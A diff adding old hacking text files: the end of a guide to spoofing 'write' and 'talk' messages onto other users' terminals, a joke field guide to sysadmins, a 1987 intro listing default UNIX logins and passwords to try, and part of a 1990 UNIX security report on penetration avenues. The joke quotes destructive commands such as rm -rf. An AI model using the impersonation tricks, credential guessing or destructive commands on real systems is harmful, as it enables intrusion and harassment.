'EOF' on their +screen, but they'd still be 'write'ing to you until they typed a ^D as well. + +Now, if you're on a bigger installation you'll probably have some sort +of full-screen windowing chat program like 'talk'. My version of talk +sends the following message: + +Message from Talk_Daemon@tibsys at 23:14 ... +talk: connection requested by shark@tibsys. +talk: respond with: talk shark@tibsys + +Anyway, here's where the fun part begins: It's quite easy to put a sample +'write' or 'talk' message into a file and then edit so that the 'from' +is a different person, and the tty is listed differently. If you see that +your dorky friend roger is on ttyi10 and the root also happens to be +logged on on ttyi01, make the file look something like this: + +[3 control-G's] Message from root on ttyi01 at [the current time] + +wackawackawackawackawacka!!! + +[or a similarly confusing or rude message...] + +EOF + +Then, send this file to roger's terminal with: + +cat filename > /dev/ttyi10 + +He'll get the message on his terminal and wonder what the hell the +superuser is talking about. He might even 'write' back to the superuser +with the intent of asking 'what the hell are you talking about?'. For +maximum effectiveness, *simultaneously* send a message to root 'from' +roger at the appropriate terminal with an equally strange message - they'll +then engage in a conversation that will go something like "what did you +mean by that?" "what do you mean, what do I mean? What did *you* mean +by that?" etc. A splendid time is guaranteed for all! Note that you don't +have to make 'root' the perpetrator of the gag, any two currently logged-in +users who have their terminals open for messages can join in on the fun. + +Similarly, you can fake a few 'talk' pages from/to two people...they will +then probably start talking...although the conversation will be along the +lines of "what do you want?" "you tell me." "you paged me, you tell *me." +etcetera, while you laugh yourself silly or something like that. + +A variation on the theme: As I said, when using 'write' you type a ^D to +end the conversation, and the person you're typing at sees an 'EOF' on +their screen. But you could also just *type* 'EOF', and they'd think +you've quit...but you still have an open line to their terminal. Even +if they later turn messages off, you still have the ability to write to +their terminal. Keeping this fact in mind, anybody who knows what they're +doing can write a program similar to my 'block' program above that doesn't +log a user out when they appear on the system, but opens their tty as +a device and keeps the file handle in memory so you can redirect to their +terminal - to write rude messages or to log them out or whatever - at any +time, until they log out. + +As I said, there was no great amount of genious in the above discourse, +but it's a pastime I enjoy occasionally... + +-- Shooting Shark + + +"the first fact to face is that unix was not developed with security, +in any realistic sense, in mind..." + +-- Dennis M. Ritchie + +"Oryan QUEST couldn't hack his way out of a UNIX system, let alone +into one." + +-- Tharrys Ridenow + + + diff --git a/textfiles.com/hacking/UNIX/sysadmin.txt b/textfiles.com/hacking/UNIX/sysadmin.txt new file mode 100644 index 00000000..88cfd325 --- /dev/null +++ b/textfiles.com/hacking/UNIX/sysadmin.txt @@ -0,0 +1,421 @@ +From: szielins@us.oracle.com (szielins.US1) +Newsgroups: rec.humor.funny +Subject: Field Guide to System Administrators +Keywords: laugh, original, computers +Message-ID: +Date: Thu, 19 Nov 92 3:25:10 EST +Lines: 419 +Approved: funny@clarinet.com + + +KNOW YOUR UNIX SYSTEM ADMINISTRATOR-- A FIELD GUIDE + + + +There are four major species of Unix sysad: + +1) The TECHNICAL THUG. Usually a systems programmer who has been +forced into system administration; writes scripts in a polyglot of the +Bourne shell, sed, C, awk, perl, and APL. + +2) The ADMINISTRATIVE FASCIST. Usually a retentive drone (or rarely, +a harridan ex-secretary) who has been forced into system +administration. + +3) The MANIAC. Usually an aging cracker who discovered that neither +the Mossad nor Cuba are willing to pay a living wage for computer +espionage. Fell into system administration; occasionally approaches +major competitors with indesp schemes. + +4) The IDIOT. Usually a cretin, morpohodite, or old COBOL programmer +selected to be the system administrator by a committee of cretins, +morphodites, and old COBOL programmers. + + + +HOW TO IDENTIFY YOUR SYSTEM ADMINISTRATOR: + + +---------------- SITUATION: Low disk space. ---------------- + + TECHNICAL THUG: Writes a suite of scripts to monitor disk +usage, maintain a database of historic disk usage, predict future disk +usage via least squares regression analysis, identify users who are +more than a standard deviation over the mean, and send mail to the +offending parties. Places script in cron. Disk usage does not +change, since disk-hogs, by nature, either ignore script-generated +mail, or file it away in triplicate. + + ADMINISTRATIVE FASCIST: Puts disk usage policy in motd. Uses +disk quotas. Allows no exceptions, thus crippling development work. +Locks accounts that go over quota. + + MANIAC: +# cd /home +# rm -rf `du -s * | sort -rn | head -1 | awk '{print $2}'`; + + IDIOT: +# cd /home +# cat `du -s * | sort -rn | head -1 | awk '{ printf "%s/*\n", $2}'` | compress + + +---------------- SITUATION: Excessive CPU usage. ---------------- + + TECHNICAL THUG: Writes a suite of scripts to monitor +processes, maintain a database of CPU usage, identify processes more +than a standard deviation over the norm, and renice offending +processes. Places script in cron. Ends up renicing the production +database into oblivion, bringing operations to a grinding halt, much +to the delight of the xtrek freaks. + + ADMINISTRATIVE FASCIST: Puts CPU usage policy in motd. Uses +CPU quotas. Locks accounts that go over quota. Allows no exceptions, +thus crippling development work, much to the delight of the xtrek +freaks. + + MANIAC: +# kill -9 `ps -augxww | sort -rn +8 -9 | head -1 | awk '{print $2}'` + + IDIOT: +# compress -f `ps -augxww | sort -rn +8 -9 | head -1 | awk '{print $2}'` + + +---------------- SITUATION: New account creation. ---------------- + + TECHNICAL THUG: Writes perl script that creates home +directory, copies in incomprehensible default environment, and places +entries in /etc/passwd, /etc/shadow, and /etc/group. (By hand, NOT +with passmgmt.) Slaps on setuid bit; tells a nearby secretary to +handle new accounts. Usually, said secretary is still dithering over +the difference between 'enter' and 'return'; and so, no new accounts +are ever created. + + ADMINISTRATIVE FASCIST: Puts new account policy in motd. +Since people without accounts cannot read the motd, nobody ever +fulfills the bureaucratic requirements; and so, no new accounts are +ever created. + + MANIAC: "If you're too stupid to break in and create your own +account, I don't want you on the system. We've got too many goddamn +sh*t-for-brains a**holes on this box anyway." + + IDIOT: +# cd /home; mkdir "Bob's home directory" +# echo "Bob Simon:gandalf:0:0::/dev/tty:compress -f" > /etc/passwd + + +---------------- SITUATION: Root disk fails. ---------------- + + TECHNICAL THUG: Repairs drive. Usually is able to repair +filesystem from boot monitor. Failing that, front-panel toggles +microkernel in and starts script on neighboring machine to load binary +boot code into broken machine, reformat and reinstall OS. Lets it run +over the weekend while he goes mountain climbing. + + ADMINISTRATIVE FASCIST: Begins investigation to determine who +broke the drive. Refuses to fix system until culprit is identified +and charged for the equipment. + + MANIAC, LARGE SYSTEM: Rips drive from system, uses +sledgehammer to smash same to flinders. Calls manufacturer, threatens +pets. Abuses field engineer while they put in a new drive and +reinstall the OS. + MANIAC, SMALL SYSTEM: Rips drive from system, uses ball-peen +hammer to smash same to flinders. Calls Requisitions, threatens pets. +Abuses bystanders while putting in new drive and reinstalling OS. + + IDIOT: Doesn't notice anything wrong. + + +---------------- SITUATION: Poor network response. ---------------- + + TECHNICAL THUG: Writes scripts to monitor network, then +rewires entire machine room, improving response time by 2%. Shrugs +shoulders, says, "I've done all I can do," and goes mountain climbing. + + ADMINISTRATIVE FASCIST: Puts network usage policy in motd. +Calls up Berkeley and AT&T, badgers whoever answers for network +quotas. Tries to get xtrek freaks fired. + + MANIAC: Every two hours, pulls ethernet cable from wall and +waits for connections to time out. + + IDIOT: +# compress -f /dev/en0 + + +---------------- SITUATION: User questions. ---------------- + + TECHNICAL THUG: Hacks the code of emacs' doctor-mode to answer +new users questions. Doesn't bother to tell people how to start the +new "guru-mode", or for that matter, emacs. + + ADMINISTRATIVE FASCIST: Puts user support policy in motd. +Maintains queue of questions. Answers them when he gets a chance, +often within two weeks of receipt of the proper form. + + MANIAC: Screams at users until they go away. Sometimes +barters knowledge for powerful drink and/or sycophantic adulation. + + IDIOT: Answers all questions to best of his knowledge until +the user realizes few UNIX systems support punched cards or JCL. + + +---------------- SITUATION: *Stupid* user questions. ---------------- + + TECHNICAL THUG: Answers question in hex, binary, postfix, +and/or French until user gives up and goes away. + + ADMINISTRATIVE FASCIST: Locks user's account until user can +present documentation demonstrating their qualification to use the +machine. + + MANIAC: +# cat >> ~luser/.cshrc +alias vi 'rm \!*;unalias vi;grep -v BoZo ~/.cshrc > ~/.z; mv -f ~/.z ~/.cshrc' +^D + + IDIOT: Answers all questions to best of his knowledge. +Recruits user to system administration team. + + +---------------- SITUATION: Process accounting management. ---------------- + + TECHNICAL THUG: Ignores packaged accounting software; trusts +scripts to sniff out any problems & compute charges. + + ADMINISTRATIVE FASCIST: Devotes 75% of disk space to +accounting records owned by root and chmod'ed 000. + + MANIAC: Laughs fool head off at very mention of accounting. + + IDIOT: +# lpr /etc/wtmp /usr/adm/paact + + +---------------- SITUATION: Religious war, BSD vs. System V. ---------------- + + TECHNICAL THUG: BSD. Crippled on System V boxes. + + ADMINISTRATIVE FASCIST: System V. Horrified by the people who +use BSD. Places frequent calls to DEA. + + MANIAC: Prefers BSD, but doesn't care as long as HIS processes +run quickly. + + IDIOT: +# cd c: + + +---------------- SITUATION: Religious war, System V vs. AIX ---------------- + + TECHNICAL THUG: Weeps. + + ADMINISTRATIVE FASCIST: AIX-- doesn't much care for the OS, +but loves the jackboots. + + MANIAC: System V, but keeps AIX skills up, knowing full well +how much Big Financial Institutions love IBM... + + IDIOT: AIX. + + +---------------- SITUATION: Balky printer daemons. ---------------- + + TECHNICAL THUG: Rewrites lpd in FORTH. + + ADMINISTRATIVE FASCIST: Puts printer use policy in motd. +Calls customer support every time the printer freezes. Tries to get +user who submitted the most recent job fired. + + MANIAC: Writes script that kills all the daemons, clears all +the print queues, and maybe restarts the daemons. Runs it once a hour +from cron. + + IDIOT: +# kill -9 /dev/lp ; /dev/lp & + + +---------------- SITUATION: OS upgrade. ---------------- + + TECHNICAL THUG: Reads source code of new release, takes only +what he likes. + + ADMINISTRATIVE FASCIST: Instigates lawsuit against the vendor +for having shipped a product with bugs in it in the first place. + + MANIAC: +# uptime +1:33pm up 19 days, 22:49, 167 users, load average: 6.49, 6.45, 6.31 +# wall +Well, it's upgrade time. Should take a few hours. And good luck on that +5:00 deadline, guys! We're all pulling for you! +^D + + IDIOT: +# dd if=/dev/rmt8 of=/vmunix + + +---------------- SITUATION: Balky mail. ---------------- + + TECHNICAL THUG: Rewrites sendmail.cf from scratch. Rewrites +sendmail in SNOBOL. Hacks kernel to implement file locking. Hacks +kernel to implement "better" semaphores. Rewrites sendmail in +assembly. Hacks kernel to . . . + + ADMINISTRATIVE FASCIST: Puts mail use policy in motd. Locks +accounts that go over mail use quota. Keeps quota low enough that +people go back to interoffice mail, thus solving problem. + + MANIAC: +# kill -9 `ps -augxww | grep sendmail | awk '{print $2}'` +# rm -f /usr/spool/mail/* +# wall +Mail is down. Please use interoffice mail until we have it back up. +^D +# write max +I've got my boots and backpack. Ready to leave for Mount Tam? +^D + + IDIOT: +# echo "HELP!" | mail tech_support.AT.vendor.com%kremvax%bitnet!BIFF!!! + + +---------------- SITUATION: Users want phone list application. ---------------- + + TECHNICAL THUG: Writes RDBMS in perl and Smalltalk. Users +give up and go back to post-it notes. + + ADMINISTRATIVE FASCIST: Oracle. Users give up and go back to +post-it notes. + + MANIAC: Tells the users to use flat files and grep, the way +God meant man to keep track of phone numbers. Users give up and go +back to post-it notes. + + IDIOT: +% dd ibs=80 if=/dev/rdisk001s7 | grep "Fred" + + +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ + +OTHER GUIDELINES: + + +---------------- TYPICAL ROOT .cshrc FILE: ---------------- + + TECHNICAL THUG: Longer than eight kilobytes. Sources the +output of a perl script, rewrites itself. + + ADMINISTRATIVE FASCIST: Typical lines include: +umask 777 +alias cd 'cd \!*; rm -rf ching *hack mille omega rogue xtrek >& /dev/null &' + + MANIAC: Typical lines include: +alias rm 'rm -rf \!*' +alias hose kill -9 '`ps -augxww | grep \!* | awk \'{print $2}\'`' +alias kill 'kill -9 \!* ; kill -9 \!* ; kill -9 \!*' +alias renice 'echo Renice\? You must mean kill -9.; kill -9 \!*' + + IDIOT: Typical lines include: +alias dir ls +alias era rm +alias kitty cat +alias process_table ps +setenv DISPLAY vt100 + + +---------------- HOBBIES, TECHNICAL: ---------------- + + TECHNICAL THUG: Writes entries for Obsfuscated C contest. +Optimizes INTERCAL scripts. Maintains ENIAC emulator. Virtual +reality . + + ADMINISTRATIVE FASCIST: Bugs office. Audits card-key logs. +Modifies old TVs to listen in on cellular phone conversations. +Listens to police band. + + MANIAC: Volunteers at Survival Research Labs. Bugs office. +Edits card-key logs. Modifies old TVs to listen in on cellular phone +conversations. Jams police band. + + IDIOT: Ties shoes. Maintains COBOL decimal to roman numeral +converter. Rereads flowcharts from his salad days at Rand. + + +---------------- HOBBIES, NONTECHNICAL: ---------------- + + TECHNICAL THUG: Drinks "Smart Drinks." Attends raves. Hangs +out at poetry readings and Whole Earth Review events and tries to pick +up Birkenstock MOTAS. + + ADMINISTRATIVE FASCIST: Reads _Readers Digest_ and _Mein +Kampf_. Sometimes turns up car radio and sings along to John Denver. +Golfs. Drinks gin martinis. Hangs out in yuppie bars and tries to +pick up dominatrixes. + + MANIAC: Reads _Utne Reader_ and _Mein Kampf_. Faithfully +attends Dickies and Ramones concerts. Punches out people who say +"virtual reality." Drinks damn near anything, but favors Wild Turkey, +Black Bush, and grain alcohol. Hangs out in neighborhood bars and +tries to pick up MOTAS by drinking longshoremen under the table . + + IDIOT: Reads _Time_ and _Newsweek_-- and *believes* them. +Drinks Jagermeister. Tries to pick up close blood relations-- often +succeeds, producting next generation of idiots. + + +---------------- 1992 PRESIDENTIAL ELECTION: ---------------- + + TECHNICAL THUG: Clinton, but only because he liked Gore's +book. + + ADMINISTRATIVE FASCIST: Bush. Possibly Clinton, but only +because he liked Tipper. + + MANIAC: Frank Zappa. + + IDIOT: Perot. + + +---------------- 1996 PRESIDENTIAL ELECTION: ---------------- + + TECHNICAL THUG: Richard Stallman - Larry Wall. + + ADMINISTRATIVE FASCIST: Nixon - Buchanan. + + MANIAC: Frank Zappa. + + IDIOT: Quayle. + + +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ + +COMPOUND SYSTEM ADMINISTRATORS: + + + TECHNICAL FASCIST: Hacks kernel & writes a horde of scripts to +prevent folk from ever using more than their fair share of system +resources. Resulting overhead and load brings system to its knees. + + TECHNICAL MANIAC: Writes scripts that SEEM to be monitoring +the system, but are actually encrypting large lists of passwords. +Uses nearby nodes as beta test sites for worms. + + TECHNICAL IDIOT: Writes superuser-run scripts that sooner or +later do an "rm -rf /". + + FASCISTIC MANIAC: At first hint of cracker incursions, whether +real or imagined, shuts down system by triggering water-on-the-brain +detectors and Halon system. + + FASCISTIC IDIOT: +# cp /dev/null /etc/passwd + + MANIACAL IDIOT: Napalms the CPU. + -Stephan Zielinski + +-- +Selected by Maddi Hausmann. MAIL your jokes (jokes ONLY) to funny@clarinet.com +Attribute the joke's source if at all possible. A Daemon will auto-reply. + \ No newline at end of file diff --git a/textfiles.com/hacking/UNIX/troj.hac b/textfiles.com/hacking/UNIX/troj.hac new file mode 100644 index 00000000..80b3e757 --- /dev/null +++ b/textfiles.com/hacking/UNIX/troj.hac @@ -0,0 +1,114 @@ + ******************** + Basic Unix Use + By Lord Lawless + Phortune 500 + Board of Directors + ******************** +March 8, 1987 +------------- + +This file is basically a brief introduction and overview for the beginning +hacker to the Unix operating system. All information contained herein is +accurate to the extent of my knowledge. This file is intended for inform- +ational purposes only and the author (Lord Lawless) is in NO way responsible +for the use of this file for purposes other than the aforementioned. + +Part I: What is Unix? +---------------------- + Unix is an operating system, so designated because it allows a user to +interface with a computer in a way that is (hopefully) easy for the user to +learn and use. Unix can be known by other forms, PC-Unix, Xenix, etc., but +they all basically are the same (with slight differences this file won't go +into) and use the same commands. Unix is a wonderfully simple to use OS once +you begin, and while this file will help you I recommend that you find a Unix +system somewhere and wander around on it to help yourself to learn. To put +this more formally: + +The UNIX system is a set of programs that include a time-sharing +operating system and a set of utility programs. The operating +system has two basic parts: + + 1) The kernel is the program in the UNIX operating system + that is responsible for most operating system functions. It + schedules and manages all the work done by the computer and + maintains the file system. It is always running, and is + invisible to users. + + 2) The shell is the UNIX operating system program responsible + for handling all interaction between users and the computer. + It includes a powerful command language called "shell language"*. + +The utility programs (usually called UNIX commands) are executed +through the shell, and allow users to communicate with each other, +to edit and manipulate files, to write and execute programs in +several programming languages, and many other things. + + +Part II: Recognizing a Unix system +------------------------------------- + When you connect to a Unix system you will see a message usually like +"AT&T Unix: Unauthorized use will be Prosecuted!" or just "Unix System V" or +the like. At the least you will see a prompt saying "login:". At this point, +if possible, make sure that you are in lowercase, because if the computer det- +ects that you are typing in uppercase everything you read after will be in +uppercase with lowercase denoted by a \ in front of the word. This is because +Unix is case sensitive, so be careful, reading lowercase is much easier than +reading all uppercase and slashes. Ok, so here you are at the Unix "login:" +prompt. + +Part III: Logging on +--------------------- + At this point you must enter your login, and then, if the account ( +never more than 14 characters) has one, the password. Now, all Unix systems +have default accounts, and unless set by the Root System Operator no passwords. +This has been the means of infiltration by many the Unix hacker. There are two +types of accounts in a Unix, the "super user" and the "user". The super user +has access to almost everything (or everything depending on the system) and the +user basically has access to the files he owns and what he can sometimes read. +The default super user accounts on a unix are: + +ROOT +MAKEFSYS +MOUNTFSYS +UMOUNTFSYS +CHECKFSYS +and sometimes +ADMIN +SYSADMIN. + +For passwords to these try things like SYSTEM, SYSMAN, SYSADMIN, ADMINISTRATOR, +OPERATOR, SYSOP, etc. +The default user-level accounts are: +LP +DAEMON +TROUBLE +NUUCP +UUCP +RJE +ADM +SYSADM +SYNC +BIN + +(Note: These accounts should be entered in lower case , I merely wrote them +in upper case for easier reference.) +After being on Unix's, I have also seen the following common accounts: +USER +UNIX +GAMES +GUEST +STUDENT -on school run Unix's. + +The maximum length of a password is 11 characters. +After doing all this you should, with luck, be in! +If you couldn't hack anything out, try typing "WHO" at the login: prompt, it +may list all the user accounts and you can try them until you find one without +a password. + +Part IV: You're in!!! +---------------------- + Congratulate yourself, the hardest part of Unix "hacking" is over. Ok, +now that you're in you'll see a prompt which will probably look like "$" for a +user account or "#" if you got lucky and got a super user account. +(Quick note, to stop a unix process in action try typing ctrl-d or control +backspace, these are the end of file/St \ No newline at end of file diff --git a/textfiles.com/hacking/UNIX/uhacknfo.hac b/textfiles.com/hacking/UNIX/uhacknfo.hac new file mode 100644 index 00000000..5d440637 --- /dev/null +++ b/textfiles.com/hacking/UNIX/uhacknfo.hac @@ -0,0 +1,12327 @@ + + + Security and the + UNIX Operating System + + By: XXXXXXXXXXXXXXXX + XXXXXXXXXXXXXXXXXX + + June 1990 + + +This document has been authored and researched by XXXXXXXXXXXX under contract +to the XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX, Pentagon, +Washington DC 20330-6345. + + +Acknowledgements +**************** +It is desirable to acknowledge the various contributors to this +document. This is not easy, given that some of the most fruitful +contributors have been penetrators who wish to keep their identities to +themselves. Therefore, in respect to their wishes, I would like to just +say "thanks to the guys" -- you know who you are. For those who have +no desire to remain anonymous, my thanks go to: + + * Captain Thomas Walker, USAF 7CG LGNC + * USAF 7CG DS, The Pentagon + * Matt Bishop, Dartmouth College + * John S. Caywood, Unisys + * David A. Curry, SRI International + * Dan Farmer, CERT, Carnegie-Mellon University + * Dr. Daniel E. Geer Jr., Massachusetts Institute of Technology + * Jim Haynes, University of California Santa Cruz + * Dr. Marshall Kirk McKusick, University of California Berkeley + * Pat Wood, Pipeline and Associates + * The rest of the folks here at the Pentagon that have tolerated me over + the last few months + + +Introduction +************ + + "UNIX was not developed with security, in any realistic sense, + in mind; this fact alone guarantees a vast number of holes." + -- Dennis Ritchie + +This document provides an introduction to several aspects of UNIX system +security. Most of the information is based on 4.x BSD UNIX and its +derivatives. It may or may not directly apply to HQ USAF-LAN hosts or +other flavors of the UNIX operating system. Some of the topics being +discussed include: + + * The history of the UNIX security + * Famous security breeches + * Theoretical avenues for penetration + * General principles on system security + * Countermeasures + + +History +======= +UNIX was developed in the late 1960's at Bell Laboratories. It evolved +in an open environment where programmers were encouraged to share information +and ideas. Computer security was a matter of trust. This does not mean +that UNIX is completely void of security mechanisms. Several reasonable +security features are a part of the normal UNIX distribution; however, +most vendors distribute the operating system with defaults set in an +insecure mode. Historically, there was little need or desire for system +security as we know it now. + +Today, UNIX is used by a large user community that includes groups, +unlike programmers, that are more concerned with protecting information +rather than sharing it. As the number of UNIX systems increase and +networks become common place, the issue of security is becoming +increasingly important. More systems, users, and better network +connectivity has drastically increased the potential number of +penetrators. + + +The Internet Worm +================= +On Wednesday evening, November 2, 1988, Cornell graduate student Robert T. +Morris, Jr. released his worm into the internet. The worm was intended +to spread itself quietly throughout the network by guessing passwords +and exploiting bugs in electronic mail and other networking utilities +[Haye90]. Although only two types of hardware (Sun-3 and Vax systems) +were targeted by the worm's code, it quickly infected, reinfected, and +crippled many machines. The worm did not destroy any files, steal +information, or embed other destructive software; however, it virtually +caused the internet to shutdown for two days. + +Due to the wide use of the Internet by university, research, and +military computers, the worm infected sites containing classified and +sensitive data causing widespread concern. Staffers at the Ballistic +Research Laboratory initially assumed that the worm was an attack on +its systems by foreign intelligence agents. Michael Muuss, who leads +the Aberdeen computer systems team, later testified: "We have a history +of foreign intelligence activity on our systems ..." [Haye90]. In +all, as many as 3000 computers were temporarily disabled. The `New +York Times' reported that at Carnegie-Mellon University 80% of the +computers were affected; at the University of Wisconsin 66% of the +systems were hit. Though no data was destroyed, one industry association +estimated total damage in lost work at nearly $100 million. More +realistic estimates place the cost as high as $10 million [Haye90]. + +The worm taught us many important lessons. It caused us to think about +the ethics concerning access to computers as well as a forum to test and +evaluate the current laws. As a result, in January 1990, a United +States District Court found Robert T. Morris, Jr. guilty of charges brought +against him under a 1986 federal computer fraud and abuse law. Morris +was sentenced in Syracuse Friday May 4, 1990 by Federal Judge Howard +Munson to a $10,000 fine, three years of probation, and 400 hours of +community service. + + +The Cuckoo's Egg +================ +The mystery began August 1986 when Clifford Stoll, a systems manager at +the Lawrence Berkeley Laboratory (LBL) in Berkeley, California, learned +of an unexplained 75-cent charge for computer time. Someone was surely +up to no good -- perhaps even invading America's military networks +[Elli90]. He tracked the error down to a user, Hunter, which had no +billing address. The fun ensued when Stoll reported his findings and +discovered that no one called Hunter had an account at LBL. After +receiving a complaint from National Computer Security Center (NCSC) in +Maryland, it was determined that an old account had been compromised and +was being used to attack other network hosts. Taking this breach of +security personally, Stoll requested that his superiors allow him to +"nail the bastard" [Stoll89] himself. They gave him three weeks. + +Stoll dropped all pretense of working at his real job and gave full +attention to the intruder [Elli90]. A whole day was spent connecting a +series of 50 printers and monitors, one for each of the incoming telephone +lines. Now, if the intruder called back, Stoll would have every +character typed. The next morning one of the printers ejected over 80 +feet of paper recording every command from the intruder's keyboard and +every response from the LBL machine. It quickly showed that someone had +exploited a flaw in system software and held super-user access for three +hours. + +After a year of tracking the intruder across several networks +(eventually involving FBI, CIA, NSA, Air Force Intelligence, and +authorities in West Germany), five men in Hannover, West Germany were +arrested [Curr90]. On February 15, 1990, after a lengthy trial, the +"crackers" were found guilty as charged and sentenced: Peter Carl to two +years, Dirk Brzezinski to one year and two months, and Markus Hess to +one year and eight months. However, they were each given three years +probabation and freed, the sentence to be carried out only if they +engage in criminal behavior during that period. + + +Other Break-Ins +=============== +Many other systems have been compromised in the recent years, with +varying levels of publicity. Break-ins have occurred on: + + * NASA SPAN Network + * A worm that penetrated DECNET networks + * Several U.S. banking networks + * Several Pentagon computers + * Three known "spin-offs" of Robert Morris' worm + * Scores of Personal Computer viruses + + +Importance of System Security +============================= +Security is becoming an increasingly important topic. Hosts from +supercomputers to personal computers are being attacked on almost a +daily basis. Although there is absolutely no way to make a computer +impregnable, this document will hopefully make your system secure from +the "hacker-wanna-be". It will discuss both the security features +and holes contained within the UNIX operating system, how to find them, +and most importantly, how to fix them. + + + +Theory +****** + + "My confession ... " + -- Bart Simpson + + +General Principles +================== + + 1. It may be useful to classify intruders by motive: vandalism, + penetration of ordinary accounts, penetration of the super user + account, avoidance of charges or quotas, etc. Some intruders are + motivated by a desire to take over the system and brag about it, + so it is almost immediately known when a penetration has taken + place. Others are more subtle and keep their penetration secret. + Detecting these requires luck and periodic scanning of the system + of oddities. A particularly difficult problem is how to detect + when a security violation has taken place, short of stumbling + across tracks mistakenly left behind by the violator. + + 2. As is frequently mentioned, UNIX security seems to suffer because + the system was designed for use within a friendly community. As + the assumptions change about the hostility of the UNIX environment, + the default settings, including the kernel configuration, will have + to change. A limited operating system that doesn't allow the users + to do much is easier to secure than is UNIX with its many doors and + windows. One school of philosophy holds that one should do + everything possible to avoid any kernel changes. This may be a + good idea if portability is an issue; but, in general, it is + necessary to make security changes to the kernel and to give up + some possibly useful, but less secure features. In a friendly + environment, the system administrator may have a philosophy of + securing only what is absolutely necessary. In the hostile + environment, the administrator should do the opposite, giving + users only those privileges they absolutely must have. + + 3. The most important thing to remember is that a prepared penetrator + needs super user privileges for only a few seconds to install trap + doors that will thereafter allow him to become super user at will. + These can be very difficult and time-consuming to locate. + + 4. For serious security, the very existence of a super user is a + problem. It is necessary, for instance, to guard against the + installation of trap doors by sometime-legitimate super users. + This seems to require that a copy of all the system source be kept + offline for periodic comparison with online source from which + object is recompiled from time to time and compared with the + regular resident object. Then there is a need for a procedure to + update the offline source when authorized changes have been made. + It would probably be a good idea to keep an unchanged offline + source too, as a way of determining the total state of changes to + the current source code. SCCS or RCS can be used to control + changes to the source, but neither is really designed to protect + against persons who are devious. + + 5. In general the intruder can cover his own tracks. Detecting + intrusion therefore depends on the intruder neglecting to do so, + plus the installation of log-keeping. The existence of + log-keeping should be somewhat secret to increase the probability + that the intruder will unwittingly reveal his acts and methods. + The best log-keeping consists of writing to a hardcopy device so + that the intruder cannot erase the log. Sometimes a single + slip-up by an intruder will reveal a huge case of previously + unsuspected penetration. + + 6. Security must reside in explicit security mechanisms and not in + program logic nor in keeping documentation secret from users. + Program logic fails because users can always write a version of + the program that doesn't include the security logic. Program + logic is of course necessary in those programs which must run + with privileges; but, here the protection depends on the + inability of an ordinary user to establish or modify such + programs. And, of course, it is desirable to keep the system + program source from users, since having the source makes + penetration that much easier. Still we must assume that the + intruder has all the source he wants, since he is clever enough + to have written it himself, and in any case may have obtained + access to it from a previous penetration or from some other site. + + 7. A significant local problem may be pressure from users to install + imported software, some of which requires super user privileges. + Ideally such things would be installed only by a software support + analyst and only after a local security analysis or at least + after accurately determining exactly what privileges are needed + and why. + + 8. Also the documentation of UNIX programs is generally inadequate; + rarely do we know how a program should be properly installed to + have just the privileges it needs. In actual cases, the experts + often disagree as to the best scheme for protecting a complex set + of programs. + + 9. There are lots of potential penetrators out there. A super user + mistake such as setting a protection code incorrectly can be + noticed and exploited by somebody, even if it lasts for only a + short time. + + 10. Consider threats from both within and without. In the + educational environment most intrusions will come via authorized + accounts on the system. Intruders can easily get login names and + passwords either legitimately, by borrowing them from some other + authorized user, or by guessing passwords. The threat, then, is + what a user can do after he is logged on to the system. In the + commercial/government environment, it may be relatively more + important to defend against intruders who do not know a login + name and password. Within the research environment, the attack + can come from both ends. + + 11. Complexity in programs and systems is almost always ill-advised. + Complex programs are more likely to have unintended penetration + aids than simple programs. The intruders to worry about the most + are those who are more clever and devious than the official + system maintainers. They certainly exist. + + 12. UNIX as shipped usually has default protection modes which allow + users to read other users' files, harass other users, copy system + binary programs, etc. By default the mode should be for privacy, + so that naive users are protected from the outset. If vendors + would ship systems set up so that they are secure out of the box, + many of the intial problems would vanish. + + +Avenues for penetration +======================= + 1. If one can remove or disable checks for super user in the kernel so that + it will perform for all users or for some specific user operations that + should be reserved to the super user. Discover a mistake in the kernel + source code that allows penetration. + + 2. A clever programmer could install additional system call entries into + the kernel that perform super user functions for an ordinary user. + + 3. If the operating system copy on disk is ever writable by an ordinary + user, a very clever and careful intruder might patch it to disable + protection. He might have his own version of the operating system and + install it in place of the official one. The same is, of course, true + of any program which runs privileged. + + 4. If `/dev/kmem' is ever writable by an ordinary user an intruder + might patch his own user identification to be that of the super user or + patch code to disable protection. + + 5. If an ordinary user has read permission for a disk special file, he can + read any file in that file system. If he has write permission for a + disk special file, he can do anything. Note that the user-accessible + disk special file inode might be located anywhere, since there can be + any number of special file inodes referencing the same device. + + 6. If an ordinary user can write `/etc/passwd' he can enter a bogus + account with super user uid (or any other). In some systems, a damaged + or missing `/etc/passwd' file lets anybody log in as super user. + + 7. Suppose an ordinary user has a program which contains code to change the + owner of a file to the super user and turn on the set-uid bit. If the + user can induce a super user to run that program, the code will be + executed leaving the user with a set-uid root program of his choice. A + subtle way to do this is to install the necessary code into a file that + a super user might execute unawares, such as a `.cshrc' file, or a + program that needs no privileges ordinarily and is frequently run by the + super user. Note, in this connection, that the intruder doesn't always + have to become super user to install a trap door. If a program is owned + by bin and is writable by bin, then a user who can become bin can + replace that program and wait for a super user to run it, at which time + it installs a trap door as a side effect. Aside from super user, ploys + like these can get a user the ability to penetrate any ordinary user's + account. I have heard of a trap door installed by a more devious chain + of events; the program run by the super user does not directly create + the trap door, but modifies some other program which later (i.e. at boot + time) installs the trap door. + + 8. Then there are the obvious physical things, such as a user looking over + a super user's shoulder while the latter is typing the password, or a + user getting access to the terminal when a super user is called away to + the telephone and fails to log out, etc. Also, anyone who can get into + the machine room can shut down the system (by just halting the machine) + and then reboot it; it will be in super-user state when it comes up. Or + the intruder might happen to be in the machine room at the time of a + power failure or crash and take advantage of the opportunity. + + 9. Prepare a tape containing a privileged program. Induce a super user to + load the tape into the intruder's account. The `tar' command doesn't + let an ordinary user load a setuid program not owned by that user, but + it will let a super-user load such a program. + + 10. Pick away at all privileged programs runnable by ordinary users, looking + for holes in program logic that will allow a program to be used for + intrusion. Example: interrupt such a program and see what it does, or + supply extra arguments, or leave arguments out, or supply illegitimate + arguments, or send signals. + + 11. Install a program in a directory where it will be found in the search + path ahead of the usual program. Have it do some side effect and then + transfer to the normal program or bomb out with some plausible message. + + 12. Rather than modifying program source code, an intruder might modify a + library subroutine. Then inspection of program source is unlikely to + 